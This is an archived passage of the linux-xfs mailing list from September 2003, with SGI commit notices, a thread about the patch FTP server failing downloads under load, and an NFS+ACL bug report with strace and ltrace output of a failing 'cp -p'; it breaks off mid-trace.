SMTP id h885max4028229 for ; Sun, 7 Sep 2003 22:48:36 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h885mUq0023543 for ; Sun, 7 Sep 2003 22:48:30 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h885l97m003715; Mon, 8 Sep 2003 15:47:09 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h885l9hN003714; Mon, 8 Sep 2003 15:47:09 +1000 Date: Mon, 8 Sep 2003 15:47:09 +1000 From: Nathan Scott Message-Id: <200309080547.h885l9hN003714@bruce.melbourne.sgi.com> Subject: PARTIAL TAKE 900167 - inode64 option X-archive-position: 362 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 518 Lines: 20 Add inode64 mount option; fix case where growfs can push 32 bit inodes into 64 bit space accidentally - both changes originally from IRIX. Both changes only interesting on 64 bit machines. cheers. Date: Sun Sep 7 22:46:42 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:157935a linux/fs/xfs/xfs_vfsops.c - 1.431 linux/fs/xfs/xfs_mount.h - 1.179 linux/fs/xfs/xfs_mount.c - 1.335 From owner-linux-xfs@oss.sgi.com Sun Sep 7 23:04:54 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 07 Sep 2003 23:07:11 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8864qx4005920 for ; Sun, 7 Sep 2003 23:04:53 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8846wOO002097 for ; Sun, 7 Sep 2003 21:06:59 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8863N7m003795; Mon, 8 Sep 2003 16:03:23 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8863MHL003794; Mon, 8 Sep 2003 16:03:22 +1000 Date: Mon, 8 Sep 2003 16:03:22 +1000 From: Nathan Scott Message-Id: <200309080603.h8863MHL003794@bruce.melbourne.sgi.com> Subject: TAKE 900169 - fix O_DIRECT/F_SETFL races X-archive-position: 363 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 404 Lines: 14 Fix races between O_DIRECT and fcntl with F_SETFL flag on the XFS IO path Date: Sun Sep 7 23:03:00 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:157936a linux/fs/xfs/linux/xfs_lrw.c - 1.196 linux/fs/xfs/linux/xfs_file.c - 1.94 linux/fs/xfs/linux/xfs_vnode.h - 1.81 From owner-linux-xfs@oss.sgi.com Mon Sep 8 03:06:34 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 03:06:40 -0700 (PDT) Received: from kerberos.suse.cz (kerberos.suse.cz [195.47.106.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88A6Xx4022974 for ; Mon, 8 Sep 2003 03:06:34 -0700 Received: from chimera.suse.cz (chimera.suse.cz [10.20.0.2]) by kerberos.suse.cz (****** SuSE CR *******) with ESMTP id 93DF04FBB7 for ; Mon, 8 Sep 2003 12:06:26 +0200 (CEST) Received: from alienAngel.upjs.sk (test12.suse.cz [10.20.3.140]) by chimera.suse.cz (Postfix) with ESMTP id 2B60D4276 for ; Mon, 8 Sep 2003 12:06:26 +0200 (CEST) Received: from localhost (ja@localhost) by alienAngel.upjs.sk (8.12.7/8.12.6/Submit) with ESMTP id h88A6gE6014623 for ; Mon, 8 Sep 2003 12:06:42 +0200 X-Authentication-Warning: alienAngel.home.sk: ja owned process doing -bs Date: Mon, 8 Sep 2003 12:06:42 +0200 (CEST) From: Jan Derfinak X-X-Sender: ja@alienAngel.home.sk To: linux-xfs@oss.sgi.com Subject: weekly-snapshot-patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 364 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ja@mail.upjs.sk Precedence: bulk X-list: linux-xfs Content-Length: 186 Lines: 12 Hi. There is an official xfs patch for 2.4.22 on sgi ftp site. But weekly-snapshot-patch is still for 2.4.21. Is there any reason to use 2.4.21 for development? Thanks. jan -- From owner-linux-xfs@oss.sgi.com Mon Sep 8 03:55:49 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 03:58:57 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88Atlx4002304 for ; Mon, 8 Sep 2003 03:55:48 -0700 Received: from puariko.homeip.net (vdp187.ath09.cas.hol.gr [62.38.232.188]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h88AtLgc010286 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 8 Sep 2003 12:55:26 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h88AtGRw005778; Mon, 8 Sep 2003 13:55:16 +0300 Date: Mon, 8 Sep 2003 13:55:14 +0300 From: Axel Thimm To: Keith Owens Cc: linux-xfs@oss.sgi.com Subject: Re: Announce: XFS split patches for 2.4.22 Message-ID: <20030908105514.GH4063@pua.nirvana> References: <4929.1062563195@kao2.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="TKYYegg/GYAC5JIZ" Content-Disposition: inline In-Reply-To: <4929.1062563195@kao2.melbourne.sgi.com> User-Agent: Mutt/1.4.1i X-archive-position: 365 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 649 Lines: 28 --TKYYegg/GYAC5JIZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi, On Wed, Sep 03, 2003 at 02:26:35PM +1000, Keith Owens wrote: > ftp://oss.sgi.com/projects/xfs/download/patches/2.4.22.=20=20 I cannot access any files in this directory. --=20 Axel.Thimm@physik.fu-berlin.de --TKYYegg/GYAC5JIZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/XGASQBVS1GOamfERAoXbAJ4hAezqqFO+DT5i5iRKhkVOJAylsgCfQfZV fDLMDTihJOWgU11ChHeA2CU= =UY0s -----END PGP SIGNATURE----- --TKYYegg/GYAC5JIZ-- From owner-linux-xfs@oss.sgi.com Mon Sep 8 04:13:38 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 04:14:43 -0700 (PDT) Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88BDZx4010725 for ; Mon, 8 Sep 2003 04:13:37 -0700 Received: (qmail 15835 invoked from network); 8 Sep 2003 11:13:33 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 8 Sep 2003 11:13:33 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id A1B0CC00A9; Mon, 8 Sep 2003 21:13:32 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 9D5AD1400AE; Mon, 8 Sep 2003 21:13:32 +1000 (EST) X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4 From: Keith Owens To: Axel Thimm Cc: linux-xfs@oss.sgi.com Subject: Re: Announce: XFS split patches for 2.4.22 In-reply-to: Your message of "Mon, 08 Sep 2003 13:55:14 +0300." <20030908105514.GH4063@pua.nirvana> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 08 Sep 2003 21:13:31 +1000 Message-ID: <2413.1063019611@ocs3.intra.ocs.com.au> X-archive-position: 366 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 453 Lines: 11 On Mon, 8 Sep 2003 13:55:14 +0300, Axel Thimm wrote: >On Wed, Sep 03, 2003 at 02:26:35PM +1000, Keith Owens wrote: >> ftp://oss.sgi.com/projects/xfs/download/patches/2.4.22. =20 > >I cannot access any files in this directory. I can access that directory from outside SGI, and so can most other people. The problem is either on your end or between you and oss.sgi.com. Please ask your network people to investigate. From owner-linux-xfs@oss.sgi.com Mon Sep 8 04:27:28 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 04:28:10 -0700 (PDT) Received: from hob.acsalaska.net (hob.acsalaska.net [209.112.155.42]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88BR6x4015432 for ; Mon, 8 Sep 2003 04:27:27 -0700 Received: from erbenson.alaska.net (112-pm18.nwc.alaska.net [209.112.142.112]) by hob.acsalaska.net (8.12.9/8.12.9) with ESMTP id h88BR58H011614 for ; Mon, 8 Sep 2003 03:27:05 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id BBEC339E8 for ; Mon, 8 Sep 2003 03:27:03 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id C6A4E40FF44; Mon, 8 Sep 2003 03:27:03 -0800 (AKDT) Date: Mon, 8 Sep 2003 03:27:03 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: Announce: XFS split patches for 2.4.22 Message-ID: <20030908112703.GH943@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20030908105514.GH4063@pua.nirvana> <2413.1063019611@ocs3.intra.ocs.com.au> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="z9ECzHErBrwFF8sy" Content-Disposition: inline In-Reply-To: <2413.1063019611@ocs3.intra.ocs.com.au> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.50 X-archive-position: 367 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 1556 Lines: 46 --z9ECzHErBrwFF8sy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 08, 2003 at 09:13:31PM +1000, Keith Owens wrote: > On Mon, 8 Sep 2003 13:55:14 +0300,=20 > Axel Thimm wrote: > >On Wed, Sep 03, 2003 at 02:26:35PM +1000, Keith Owens wrote: > >> ftp://oss.sgi.com/projects/xfs/download/patches/2.4.22. =3D20 > > > >I cannot access any files in this directory. >=20 > I can access that directory from outside SGI, and so can most other > people. The problem is either on your end or between you and > oss.sgi.com. Please ask your network people to investigate. no it was your ftp server, it was responding with "550 load average is 11, anonymous users are not allowed to download with this much load." or somesuch, it was doing so in a broken way though so most clients didn't properly identify the failure. in fact its not even possible to see the error message unless you use the plain jane bsd ftp command, all the others (wget, lftp etc) helpfully hid the message and silently malfunctioned. it seems to be behaving itself now.=20 --=20 Ethan Benson http://www.alaska.net/~erbenson/ --z9ECzHErBrwFF8sy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9cZ4cACgkQJKx7GixEevxVwACeMT3RwiIB+oQfTAXTFmks61s0 LCQAnj2qU49N5QyONQpheax2k0H3I1PU =JPE4 -----END PGP SIGNATURE----- --z9ECzHErBrwFF8sy-- From owner-linux-xfs@oss.sgi.com Mon Sep 8 06:26:21 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 06:27:00 -0700 (PDT) Received: from linux-sxs.org (dhcp065-024-128-253.columbus.rr.com [65.24.128.253] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88DQJx4004515 for ; Mon, 8 Sep 2003 06:26:20 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.9/8.12.9) with ESMTP id h88DPsun031895; Mon, 8 Sep 2003 09:25:54 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.9/8.12.9/Submit) with ESMTP id h88DPspL013502; Mon, 8 Sep 2003 09:25:54 -0400 Date: Mon, 8 Sep 2003 09:25:54 -0400 (EDT) From: Net Llama! To: Ethan Benson cc: linux-xfs@oss.sgi.com Subject: Re: Announce: XFS split patches for 2.4.22 In-Reply-To: <20030908112703.GH943@plato.local.lan> Message-ID: References: <20030908105514.GH4063@pua.nirvana> <2413.1063019611@ocs3.intra.ocs.com.au> <20030908112703.GH943@plato.local.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.35 X-archive-position: 368 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 1331 Lines: 30 On Mon, 8 Sep 2003, Ethan Benson wrote: > On Mon, Sep 08, 2003 at 09:13:31PM +1000, Keith Owens wrote: > > On Mon, 8 Sep 2003 13:55:14 +0300, > > Axel Thimm wrote: > > >On Wed, Sep 03, 2003 at 02:26:35PM +1000, Keith Owens wrote: > > >> ftp://oss.sgi.com/projects/xfs/download/patches/2.4.22. =20 > > > > > >I cannot access any files in this directory. > > > > I can access that directory from outside SGI, and so can most other > > people. The problem is either on your end or between you and > > oss.sgi.com. Please ask your network people to investigate. > > no it was your ftp server, it was responding with "550 load average is > 11, anonymous users are not allowed to download with this much load." > or somesuch, it was doing so in a broken way though so most clients > didn't properly identify the failure. in fact its not even possible > to see the error message unless you use the plain jane bsd ftp > command, all the others (wget, lftp etc) helpfully hid the message and > silently malfunctioned. > > it seems to be behaving itself now. Actually, ncftp was also capable of displaying the actual error. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Mon Sep 8 06:55:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 06:56:23 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88Dtgx4008062 for ; Mon, 8 Sep 2003 06:55:43 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h88ECgss028144 for ; Mon, 8 Sep 2003 09:12:42 -0500 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h88Dtacc11566356; Mon, 8 Sep 2003 08:55:37 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h88DtbgV911242; Mon, 8 Sep 2003 08:55:37 -0500 (CDT) Date: Mon, 8 Sep 2003 08:55:36 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Jan Derfinak cc: linux-xfs@oss.sgi.com Subject: Re: weekly-snapshot-patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 369 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 366 Lines: 21 It's because the weekly snapshot patch is based on cvs, and cvs is still at 2.4.21. Patience please... -eric On Mon, 8 Sep 2003, Jan Derfinak wrote: > Hi. > > There is an official xfs patch for 2.4.22 on sgi ftp site. But > weekly-snapshot-patch is still for 2.4.21. Is there any reason to use > 2.4.21 for development? > Thanks. > > > jan > > -- > > From owner-linux-xfs@oss.sgi.com Mon Sep 8 07:35:32 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 07:36:15 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88EZVx4014200 for ; Mon, 8 Sep 2003 07:35:32 -0700 Received: from puariko.homeip.net ([62.38.232.127]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h88EZCgc008917 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 8 Sep 2003 16:35:28 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h88BrC3e006394; Mon, 8 Sep 2003 14:53:12 +0300 Date: Mon, 8 Sep 2003 14:53:10 +0300 From: Axel Thimm To: Keith Owens Cc: linux-xfs@oss.sgi.com Subject: Re: Announce: XFS split patches for 2.4.22 Message-ID: <20030908115310.GI4063@pua.nirvana> References: <20030908105514.GH4063@pua.nirvana> <2413.1063019611@ocs3.intra.ocs.com.au> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="dCSxeJc5W8HZXZrD" Content-Disposition: inline In-Reply-To: <2413.1063019611@ocs3.intra.ocs.com.au> User-Agent: Mutt/1.4.1i X-archive-position: 370 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 1371 Lines: 41 --dCSxeJc5W8HZXZrD Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 08, 2003 at 09:13:31PM +1000, Keith Owens wrote: > On Mon, 8 Sep 2003 13:55:14 +0300,=20 > Axel Thimm wrote: > >On Wed, Sep 03, 2003 at 02:26:35PM +1000, Keith Owens wrote: > >> ftp://oss.sgi.com/projects/xfs/download/patches/2.4.22. =3D20 > > > >I cannot access any files in this directory. >=20 > I can access that directory from outside SGI, and so can most other > people. The problem is either on your end or between you and > oss.sgi.com. Please ask your network people to investigate. I tried from two different locations (North and South Europe). I could access the directory, only not the files within, I got a "550 no such directory" when trying to access README, which was definitely an FTP server misconfiguration. This was also true for other directories (tried some in Release-1.3). The problem seems to have been fixed as we speak :) --=20 Axel.Thimm@physik.fu-berlin.de --dCSxeJc5W8HZXZrD Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/XG2mQBVS1GOamfERAuKCAKCOIISC0rZHeJGbM7BsgNpBt/KYZACfZNA8 jU3tM2Xc+B0fmaFYUBU5knQ= =so7M -----END PGP SIGNATURE----- --dCSxeJc5W8HZXZrD-- From owner-linux-xfs@oss.sgi.com Mon Sep 8 08:30:45 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 08:31:19 -0700 (PDT) Received: from mailhost-ext.availix.com ([81.255.43.146]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88FUhx4021810 for ; Mon, 8 Sep 2003 08:30:44 -0700 Received: from (smap@localhost) by mailhost-ext.availix.com (8.11.6/jtpda-5.3.3-lhj) id h88FUgi01013 for ; Mon, 8 Sep 2003 17:30:42 +0200 X-Authentication-Warning: router.availix.fr: smap set sender to using -f Received: from (mailhost.availix.fr [192.168.1.20]) by router.availix.fr via smap (V2.1) id xma001011; Mon, 8 Sep 03 17:30:27 +0200 Received: from availix.fr (pc20.availix.fr [192.168.1.40]) by mailhost.availix.fr (8.11.6/jtpda-5.3.3) with ESMTP id h88FURk17468 for ; Mon, 8 Sep 2003 17:30:27 +0200 Message-ID: <3F5CA074.40806@availix.fr> Date: Mon, 08 Sep 2003 17:29:56 +0200 From: Hicham Amaoui User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030623 X-Accept-Language: fr, en, ar MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: NFS+ACL Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 371 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Hicham.Amaoui@availix.fr Precedence: bulk X-list: linux-xfs Content-Length: 7323 Lines: 171 linux-xfs@oss.sgi.com linux-xfs@oss.sgi.com linux-xfs@oss.sgi.com Hi, I'm gettting errors when testing NFS+ACL over XFS although files/acls are created correctly. Here's an example: [root@dyn3 tmp]# ls -l total 0 [root@dyn3 tmp]# touch file1 [root@dyn3 tmp]# cp -p file1 file2 cp: preserving permissions for `file2': Not a directory [root@dyn3 tmp]# ls -l total 0 -rw-r--r-- 1 root root 0 Sep 8 17:08 file1 -rw-r--r-- 1 root root 0 Sep 8 17:08 file2 [root@dyn3 tmp]# strace cp -p file1 file3 execve("/bin/cp", ["cp", "-p", "file1", "file3"], [/* 15 vars */]) = 0 uname({sys="Linux", node="dyn3", ...}) = 0 brk(0) = 0x80544a4 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 4 fstat64(4, {st_mode=S_IFREG|0644, st_size=29952, ...}) = 0 old_mmap(NULL, 29952, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40013000 close(4) = 0 open("/lib/libacl.so.1", O_RDONLY) = 4 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200\24"..., 1024) = 1024 fstat64(4, {st_mode=S_IFREG|0644, st_size=169230, ...}) = 0 old_mmap(NULL, 30292, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4001b000 mprotect(0x40022000, 1620, PROT_NONE) = 0 old_mmap(0x40022000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x6000) = 0x40022000 close(4) = 0 open("/lib/libc.so.6", O_RDONLY) = 4 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0hr\1\000"..., 1024) = 1024 fstat64(4, {st_mode=S_IFREG|0755, st_size=1344152, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40023000 old_mmap(NULL, 1207648, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40024000 mprotect(0x40142000, 36192, PROT_NONE) = 0 old_mmap(0x40142000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x11e000) = 0x40142000 old_mmap(0x40147000, 15712, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40147000 close(4) = 0 open("/lib/libattr.so.1", O_RDONLY) = 4 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20\16\0"..., 1024) = 1024 fstat64(4, {st_mode=S_IFREG|0644, st_size=51676, ...}) = 0 old_mmap(NULL, 15228, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4014b000 mprotect(0x4014e000, 2940, PROT_NONE) = 0 old_mmap(0x4014e000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x2000) = 0x4014e000 close(4) = 0 munmap(0x40013000, 29952) = 0 brk(0) = 0x80544a4 brk(0x80544d4) = 0x80544d4 brk(0x8055000) = 0x8055000 geteuid32() = 0 lstat64("file3", 0xbffffc30) = -1 ENOENT (No such file or directory) stat64("file1", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 open("file1", O_RDONLY|O_LARGEFILE) = 4 fstat64(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 open("file3", O_WRONLY|O_CREAT|O_LARGEFILE, 0100644) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 fstat64(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 read(4, "", 8192) = 0 close(5) = 0 close(4) = 0 utime("file3", [2003/09/08-17:08:16, 2003/09/08-17:08:16]) = 0 chown32(0xbffffea5, 0, 0) = 0 SYS_229(0xbffffe9f, 0x40021285, 0xbffff750, 0x84, 0x4000a660) = -1 ENODATA (No data available) stat64("file1", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 SYS_226(0xbffffea5, 0x400212ce, 0x80549e0, 0x1c, 0) = -1 ENOTDIR (Not a directory) chmod("file3", 0100644) = 0 write(2, "cp: ", 4cp: ) = 4 write(2, "preserving permissions for `file"..., 34preserving permissions for `file3') = 34 write(2, ": Not a directory", 17: Not a directory) = 17 write(2, "\n", 1 ) = 1 _exit(1) = ? [root@dyn3 tmp]# ltrace cp -p file1 file4 __libc_start_main(0x0804a6d0, 4, 0xbffffdc4, 0x08049128, 0x080505a0 __register_frame_info(0x0805404c, 0x08054298, 0xbffffd68, 0x0804965e, 0x08049128) = 0x0805404c setlocale(6, 0x08050e1f, 0x40097939, 24, 0) = 0x40138981 bindtextdomain(0x08050e32, 0x08050e20, 0x40097939, 24, 0) = 0x401389a1 textdomain(0x08050e32, 0x401389a1, 0x40097939, 24, 0) = 0x080544f0 __cxa_atexit(0x0804ef80, 0, 0, 0x080544f0, 0x080544f0) = 0 geteuid(0x080544f0, 4, 0xbffffd58, 0x0804a74c, 0xbffffcd0) = 0 getenv(0x08050e3c, 0x401389a1, 0x40097939, 24, 0) = 0 getopt_long(4, 0xbffffdc4, 0x08050e51, 0x08050608, 0) = 112 getopt_long(4, 0xbffffdc4, 0x08050e51, 0x08050608, 0) = -1 malloc(40, 0, 0x4001286c, 0x4014630c, 0xbffffdc4) = 0x08054500 malloc(1048, 0, 0x4001286c, 0x4014630c, 0xbffffdc4) = 0x08054530 __lxstat64(3, 0xbffffea5, 0xbffffc30, 0x400121d8, 5) = -1 __errno_location(5, 0x400234f8, 5, 0x080485b8, 0x40012870) = 0x40146b80 strlen(0xbffffea5, 0xbffffc30, 0xbffffca8, 0x0804a00c, 5) = 5 __xstat64(3, 0xbffffe9f, 0xbffffa50, 0xbffffe9f, 0xbffffcd0) = 0 open64(0xbffffe9f, 0, 0x0faae2f4, 0xbffff870, 0) = 4 __fxstat64(3, 4, 0xbffff7d0, 0xbffff870, 0) = 0 open64(0xbffffea5, 65, 33188, 0xbffff870, 0) = 5 __fxstat64(3, 5, 0xbffff830, 0xbffff870, 0) = 0 __fxstat64(3, 4, 0xbffff830, 0xbffff870, 0) = 0 read(4, 0xbfffd7a0, 8192, 0, 0) = 0 close(5, 0xbfffd7a0, 8192, 0, 0) = 0 close(4, 0xbfffd7a0, 8192, 0, 0) = 0 utime(0xbffffea5, 0xbffff908, 0, 0, 0) = 0 chown(0xbffffea5, 0, 0, 0, 0) = 0 acl_get_file(0xbffffe9f, 32768, 0x08054148, 0x08048ae5, 0x4003b445) = 0x08054954 acl_set_file(0xbffffea5, 32768, 0x08054954, 0x08048ae5, 0x4003b445) = -1 __errno_location(0x4003b445, 0x4014630c, 0xbffff8b8, 0x4014630c, 0xbffffac8) = 0x40146b80 acl_free(0x08054954, 0xbffffe9f, 0xbffff8b8, 0x0804d647, 0x4003b445) = 0 chmod(0xbffffea5, 33188, 0xbffff8b8, 0x0804d647, 0x4003b445) = 0 __ctype_get_mb_cur_max(0x4002f070, 0x40023000, 1, 0xbffff758, 0x40022568) = 1 dcgettext(0, 0x08052dfc, 5, 0, 